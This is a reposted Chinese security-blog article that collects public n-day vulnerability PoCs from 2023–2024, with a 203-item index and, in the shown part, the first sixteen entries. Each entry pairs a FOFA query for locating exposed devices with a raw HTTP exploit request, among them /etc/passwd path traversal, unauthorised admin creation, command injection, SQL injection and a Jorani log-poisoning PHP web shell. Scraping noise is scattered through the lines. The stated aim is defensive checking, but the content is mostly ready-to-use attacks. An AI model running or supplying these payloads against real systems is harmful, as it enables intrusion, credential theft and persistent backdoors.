互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
! g/ t1 ~2 i" j, z6 o9 Y3 Q道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
  {& l  V' [4 j) n2 Z) j9 K
+ H* m2 I; l7 A" A& `发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

: N4 t) |& W5 Z漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

3 q& P( O+ |+ V. S0 X# r# B- D1 @安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
2 V& U( `: H$ r3 H1 v
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
5 Y* L, ]) n: B
. J) K" O+ j1 X& b7 o4 j  U合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
* v! Q) x% }0 a
7 \% @+ K- v* D" e4 t
声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
8 L0 ]1 u- E% m7 Y/ ~9 a4 E
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。



" K4 f" _: T2 T' L: J; Y目录

" n" X2 a0 C3 Z" P01

1. StarRocks MPP数据库未授权访问
" s. S3 ]6 Q( l2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
. i; Y; \! S/ Q  o9 I4 j5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
. N: M( L4 q! d$ H1 V  z, T# n$ \7. 鸿运主动安全监控云平台任意文件下载
0 D7 C0 ?, e4 t8 u: {% L7 @, @0 S8. 斐讯 Phicomm 路由器RCE
, ]; t8 P6 R/ f) m0 o. h& V6 q1 A9. 稻壳CMS keyword 未授权SQL注入
, |, S" S$ W/ @" |4 c+ F* J10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
) e. R0 O- q; {7 {( X* G13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
9 s8 I* c) F. A0 j9 b3 ]16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
2 S$ X- O) r4 [& s, K. v3 t19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
! o3 r) O4 ~0 n  F+ y21. 大华ICC智能物联综合管理平台random远程代码执行
; m6 k8 \2 J5 v; ^/ J; r6 W22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
8 N4 }& o  W3 j! G! U25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
5 {' i1 s( z" `: N) F4 M28. 用友NC grouptemplet 任意文件上传
# L3 S) B, c' w29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
. _  ^- R; R$ f- T6 X31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
, J( a2 ~9 t' z! l7 C33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
; p- S. L- m) @1 V; Q7 l" K36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
# x# ]8 _/ Y" U- T- P. B7 J38. 用友U8 Cloud smartweb2.RPC.d XXE
  {2 s! ?7 X' _: K5 A  T39. 用友U8 Cloud RegisterServlet SQL注入
, i  n7 m+ z3 ^0 ^* P9 y( O( l40. 用友U8-Cloud XChangeServlet XXE
5 ~6 h1 u& o0 Y5 o6 |41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
7 k4 x- E. F- k9 k1 H5 D42. 用友GRP-U8 SmartUpload01 文件上传
& \: v7 Z5 [3 e9 X5 W9 x- ~3 F& B43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
+ @8 @% P: |, w! \* o. z2 V( o5 q- O45. 用友GRP-U8 ufgovbank XXE
4 y. ^/ @* s2 M4 {1 d4 E7 d46. 用友GRP-U8 sqcxIndex.jsp SQL注入
* w6 J+ i9 j. t0 L$ a  O3 m% v47. 用友GRP A++Cloud 政府财务云 任意文件读取
  H9 l! h# J7 H! Y6 d% W48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
9 W( A7 C% c: @50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
1 K$ e0 c$ @6 D+ }7 Y( m3 U& {) ]; O53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
/ l; k6 {3 A! Z( {# c* y$ ^56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
7 N# W5 f8 o% i- N( {$ r& v. @9 s58. 畅捷通T+ KeyInfoList.aspx sql注入
$ t! p- B/ F: C7 l0 j( s7 D. D: |1 j59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
* H$ p) M! d' Q0 m1 B% p) e61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
9 a/ {% l( G; E% n" r$ B. ]62. IP-guard WebServer 远程命令执行
5 V8 u  x6 i, y8 x$ L63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
$ l( ~3 H' Y8 ^6 X" Q- C+ ?3 ]/ ?65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
$ A+ g& {: N0 d: S7 K4 l67. 万户ezOFFICE wpsservlet任意文件上传
. l+ }* \+ R; K; @68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
. j  M( c4 N3 H( y& ?* J, M1 ]75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
0 k' A0 z3 F0 R+ v  _) O77. F22服装管理软件系统UploadHandler.ashx任意文件上传
9 t5 f, r6 P( @78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
8 R2 _( f/ b4 L2 L79. BYTEVALUE 百为流控路由器远程命令执行
) o& P+ |! ~* p0 R' g80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
, i$ Y' b$ j* Q84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
: }2 S  K/ {: i- y/ B85. SysAid On-premise< 23.3.36远程代码执行
2 j; Q$ c" ?& m/ T86. 日本tosei自助洗衣机RCE
0 z# q( k; [8 `( P! G87. 安恒明御安全网关aaa_local_web_preview文件上传
$ M, B- C; `& D  n3 _4 W88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
  s9 P7 h2 {5 @$ b& u91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
$ a1 Y! B+ C' {: q' n93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
' D9 q: ?! z/ u4 n0 V/ U* X, m95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
! T' ^$ Z2 G; q/ Y96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
4 M  V9 O' `# }5 R6 i  ^100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
5 q$ z. _/ z" |3 d102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
$ k4 C/ Q9 F- _/ X* @103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
. d' g3 B. q9 G6 i, |( L107. SpringBlade tenant/list SQL 注入
0 k- j8 N3 S2 r5 |108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
9 T) s4 o0 L7 b2 Y" n/ G111. WordPress Plugin HTML5 Video Player SQL注入
) j" J* g+ H; w- J+ b* c112. WordPress Plugin NotificationX SQL 注入
6 Z. T2 X# v# e9 j& k113. WordPress Automatic 插件任意文件下载和SSRF
& f0 ?' @+ H# N$ A) V114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
4 {3 k! V( k% W119. 北京百绰智能S20后台sysmanageajax.php sql注入
& c5 `7 D" W6 {% G- `0 C( q120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
' |; \& }! ]7 q/ C2 _123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
2 x$ G- Q6 R# d# M) d! M126. Aiohttp 路径遍历
" [6 k! c: ?% h7 U, y1 S1 S127. 广联达Linkworks DataExchange.ashx XXE
7 z  w0 W  R) \( G) Q6 y( d128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
8 ]3 ~6 J+ p- C131. Mini-Tmall <=20231017 SQL注入
# ?0 n- p4 [) z4 [2 \132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
2 J  I: p3 Z  d* w, M5 F+ y134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
) x/ w" Y7 u, X3 j  C9 h4 q136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
; D, X4 O& C" d- ^# o* ~139. 福建科立讯通信指挥调度平台editemedia.php sql注入
/ {4 S# b$ c' h6 X" @140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
& T0 R( w0 X2 x+ k# c6 N141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
* A% ~" I$ w3 S6 Y( Z! a142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
7 Z' @+ K! n0 A2 l& `0 m0 t147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
2 l: R% p6 C' q5 \" x148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
3 q: y: k- V2 B4 _7 b151. AJ-Report 1.4.1 pageList sql注入
5 p( p& `7 u* M: o; u) t6 X: d152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
# M9 a/ `7 f4 l, r. F/ J, u2 O155. 六零导航页 file.php 任意文件上传
5 v; g( I/ J/ H2 A- i! E( y156. TBK DVR-4104/DVR-4216 操作系统命令注入
3 z; ^. i3 Y7 f( X& X157. 美特CRM upload.jsp 任意文件上传
4 m8 o/ z. [5 q# w7 _4 U. S2 B158. Mura-CMS-processAsyncObject存在SQL注入
8 g# }1 E3 K# J% c( T% D159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
* u7 i* w- d& @( }5 x2 b160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
1 ~( k" x! [0 v% a; q/ [. H164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
# s: J( a+ B! B  S% w& n167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
8 ?  {! |; t1 b+ A/ b170. 宏景EHR DisplayExcelCustomReport 任意文件读取
5 U/ D+ L% d4 K( a171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
4 b* O7 L5 u- E; x+ p* A0 D& W173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
7 p# _- H$ D- n1 W: F9 m% N  b175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
+ F$ B# j$ U: ~& ]$ y176. 电信网关配置管理系统 rewrite.php 文件上传
! {# t: j( s3 ]; A3 i( Y177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
1 L1 [5 s2 I: c4 x; W6 V; _' B7 D" {179. 建文工程管理系统存在任意文件读取
  G: z5 e) m$ T, p4 j180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
# E: x1 _$ B: c+ D! L$ A184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
" H7 d# A* I2 T9 p& F! b, ?186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
- j$ z, y. i" L- V( K189. 蓝网科技临床浏览系统 deleteStudy SQL注入
0 u: C2 y  k) @0 h; Q190. 短视频矩阵营销系统 poihuoqu 任意文件读取
8 E% }* J. ^* o; k9 K191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
* B9 h3 p+ R8 }  e2 k195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
  _6 I) I. \8 S199. cockpit系统assetsmanager_upload接口 文件上传
4 C# x; C) G# i, p6 i200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
) ?) G, Y) h. ]& Z5 a203. 红海云EHR PtFjk 文件上传

POC列表
) D5 j* ]  G* W( J% E! I$ a
02
. l# D$ {9 _; C* F% r( s
1. StarRocks MPP数据库未授权访问
& M# H$ Y: C% [" F  fFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
  Z5 v' B8 ]2 x: ]" D8 [Host: URL


" ?* }  y/ u( k7 I% R2. Casdoor系统static任意文件读取
7 q9 O% F( i2 g. t7 d/ BFOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
: z6 Y, V, J4 }1 h9 k5 _: sUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
' ^# y- F6 t# L) ?: X' B/ Q$ a! r, ?Connection: close
Accept: */*
0 r  R" u7 F7 c0 u7 `Accept-Language: en
- R* y/ y& U+ V: _, z3 mAccept-Encoding: gzip
; `, y0 t" x: y+ K
0 E) v$ f% p% M$ P
3. EasyCVR智能边缘网关 userlist 信息泄漏
" `' b0 j( @( K6 U1 d  ?. L- kFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
$ O+ _$ D: \4 H' _3 B  AHost: xx.xx.xx.xx
- @! \0 @# w) K8 O) Y

  m3 x6 \8 E* G" d2 h6 S4. EasyCVR视频管理平台存在任意用户添加
* p2 D" k/ V  {4 Q5 ^4 S# E  qFOFA ：title="EasyCVR"

& t- i5 S0 ~: {. Rpassword更改为自己的密码md5
0 X" M! F6 W& |7 o4 e: S! jPOST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
) |0 R" o0 Z, H+ G7 C! Q
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


9 v7 d4 P9 u- j, q  l; o5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
. V4 t: A3 [, ~' S; A6 LGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
8 Y2 c6 p8 m0 `- f( P$ y7 _$ sHost: xx.xx.xx.xx
7 Z8 v3 ?' g8 G* }2 r4 L4 w

6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
. ~- N3 ]2 t8 L" r* yGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
4 J3 e* _, R" }
+ a/ G' s6 ~3 t8 }' g' M
  A( _2 w# d& h  \! e: S3 h9 `, w7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
$ U3 `( o- H$ R3 X. B  w  t' ?GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:

" c4 z( e4 s/ ~2 F  P# s5 R
8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
) V3 N7 T; \* I3 G+ QPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
+ e. B* ?4 R" O; l: Q, s# O  PHost: x.x.x.x
! O" Z9 F4 Y  z: a- M  JCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
3 q1 m9 g6 Y; g/ [7 |User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
# y3 h6 f4 k  \- r
------WebKitFormBoundaryxbgjoytz
0 o( X  `8 z4 J9 Y$ g; J: WContent-Disposition: form-data; name="wifiRebootEnablestatus"

%s
* o. r' z* o! Y% N( z------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

12:00; id;
( f- `4 v% Q, f2 [------WebKitFormBoundaryxbgjoytz
3 ~7 a) d" j) aContent-Disposition: form-data; name="wifiRebootendrange"

%s:
------WebKitFormBoundaryxbgjoytz
  D- C0 z& V  |- z3 w% XContent-Disposition: form-data; name="cururl2"
6 S* q( m2 s1 |1 |7 Y) W4 @
# Z, I, k( V6 \9 V5 q
------WebKitFormBoundaryxbgjoytz--

0 u" E1 N3 M0 w( w9 |
0 ?& N  j3 f7 k9 k' Q2 H! {9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
8 e7 C! G; j- i2 B0 {8 {GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
6 n- u+ p# H/ l# L" U( x# ^* s

2 c6 Z5 j. w2 w5 S* W. Zpayload为下列语句的二次Url编码
6 w) {) P5 R1 B& J& J/ R
$ ~3 s3 |# E) V, L' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
( A0 U% a0 o' c# l3 H& r
% U7 M, j- e8 q7 |. k2 n3 q8 ~10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
5 P; H" ?$ @) i. F* s8 {FOFA：icon_hash="953405444"
  ?% }  l4 a+ l
3 d- A  [8 y6 P8 V! v9 K& r" X1 J文件上传后响应中包含上传文件的路径
) N/ E6 w# T3 WPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
% F* d( S- D. N7 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
/ ~& d& G7 L% I# d- G6 t5 AContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 z- J/ C$ w% q& H4 o, m  zConnection: close
* C9 ^. r( }9 S9 n. ^Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

6 V; s" e6 y4 Z, U3 L------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
% s6 M2 x0 @) M$ FContent-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
4 n. U6 U# O4 h! n9 `------WebKitFormBoundaryxdgaqmqu--


11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
+ ^4 @- k$ h; M/ }1 m; v1 v/ fGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
4 P, p: x. K* B. W+ \) THost: 127.0.0.1
. K) |" H+ i* oPragma: no-cache
' ]" G; V0 k. ]: C. i9 PCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
- Q# O& T5 v6 F- {2 s( EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ {5 a$ m2 @9 ?! hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
# u4 b" G) t; w  k

% D  k/ m( v, t  @/ e3 T% U  T12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
3 U# D1 ?: g  R+ \" o6 |第一步先拿到cookie
GET /session/login HTTP/1.1
9 z2 N; z8 p2 I& ^! nHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
! r) X6 O# X6 r1 f5 n# LConnection: close
/ `, T8 U4 }1 s5 JAccept-Encoding: gzip


响应中csrf_cookie_jorani用于后续请求
6 h* o" H9 X: A# B5 \0 t0 ZHTTP/1.1 200 OK
8 X7 R$ P- O! T+ R0 C& CConnection: close
, X4 l) N) e1 V: L2 T9 ECache-Control: no-store, no-cache, must-revalidate
# C: k! `" @# S) {; Q9 Q7 L6 fContent-Type: text/html; charset=UTF-8
3 M- V0 j4 }+ v& ?Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Z% |% N6 x& t) N* P5 q8 hLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
0 x# G4 \2 L2 v* T" M9 lServer: Apache/2.4.54 (Debian)
$ i0 u3 l6 J9 N6 w) dSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
4 o; _) k  k( I$ EVary: Accept-Encoding


5 B9 J/ V& V) w* m: l- b" ]POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
' m" [  p  [6 Y1 M6 sContent-Length: 252
* Y( F) Z# P% B7 v$ GContent-Type: application/x-www-form-urlencoded
' W# [5 H/ b+ Y) W+ n, `Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor


: J' l$ E9 q9 i" Q- X, A
0 s9 l: _2 O4 W% w向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
1 ~( n; T" E, D% c! OHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
/ \* ]& U/ @, H% b, FConnection: close
1 X  {& o4 ?6 WCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
1 w/ U3 `5 N7 k! o9 }* g9 k

13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
" t6 I: W" ~; k' Q! NHost: x.x.x.x
- |5 i9 {( }$ r/ MUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
' s4 {/ x- b- M$ S+ Q- @$ zConnection: close
Accept: */*
( _7 A: S1 y$ c& X$ bAccept-Encoding: gzip
2 k4 L* {6 v; A2 Q" l
( G3 P' k1 ~4 [
14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
" E& Q) p' s* r/ R6 p* ]" s泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
+ p! q+ u3 B: S, H4 aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
7 ^% V) j0 ?8 |" _0 PConnection: close
) u9 p( M9 b6 Z& R/ E8 QAccept: */*
1 K8 G1 R5 g! ^Accept-Language: en
Accept-Encoding: gzip

2 a7 {4 W- z8 m/ M2 y# B6 X3 h, G( U
5 N6 [: d$ O$ h) \" x* U9 x- W0 B& r! A! M15. 华夏ERP getAllList信息泄露
CVE-2024-0490
2 W* v' t: I+ |, A3 fFOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
7 l* Z- {6 a. g: ~7 O5 mAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip

; {  D5 E0 Z" T) F) g* h6 U
16.  红帆HFOffice医微云SQL注入
( ?0 y; m( V* h1 o5 g# {5 }" W0 AFOFA：title="HFOffice"
